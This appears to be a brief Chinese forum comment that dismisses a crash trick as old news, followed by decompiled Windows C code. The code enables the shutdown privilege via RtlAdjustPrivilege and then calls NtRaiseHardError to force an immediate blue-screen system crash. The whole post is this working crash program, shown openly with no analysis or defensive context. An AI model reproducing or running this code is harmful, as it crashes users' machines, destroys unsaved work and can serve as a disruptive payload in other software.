有什么大惊小怪的,几十年前几有了
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[7]; // [rsp+30h] [rbp-20h] BYREF
char v5; // [rsp+37h] [rbp-19h] BYREF
FARPROC NtRaiseHardError; // [rsp+38h] [rbp-18h]
FARPROC RtlAdjustPrivilege; // [rsp+40h] [rbp-10h]
HMODULE hModule; // [rsp+48h] [rbp-8h]
_main(argc, argv, envp);
hModule = LoadLibraryA("ntdll.dll");
if ( hModule )
{
RtlAdjustPrivilege = GetProcAddress(hModule, "RtlAdjustPrivilege");
NtRaiseHardError = GetProcAddress(hModule, "NtRaiseHardError");
if ( RtlAdjustPrivilege && NtRaiseHardError )
{
((void (__fastcall *)(__int64, __int64, _QWORD, char *))RtlAdjustPrivilege)(19i64, 1i64, 0i64, &v5);
((void (__fastcall *)(__int64, _QWORD, _QWORD, _QWORD, int, char *))NtRaiseHardError)(
0xC0114514i64,
0i64,
0i64,
0i64,
6,
v4);
}
FreeLibrary(hModule);
}
return 0;
} |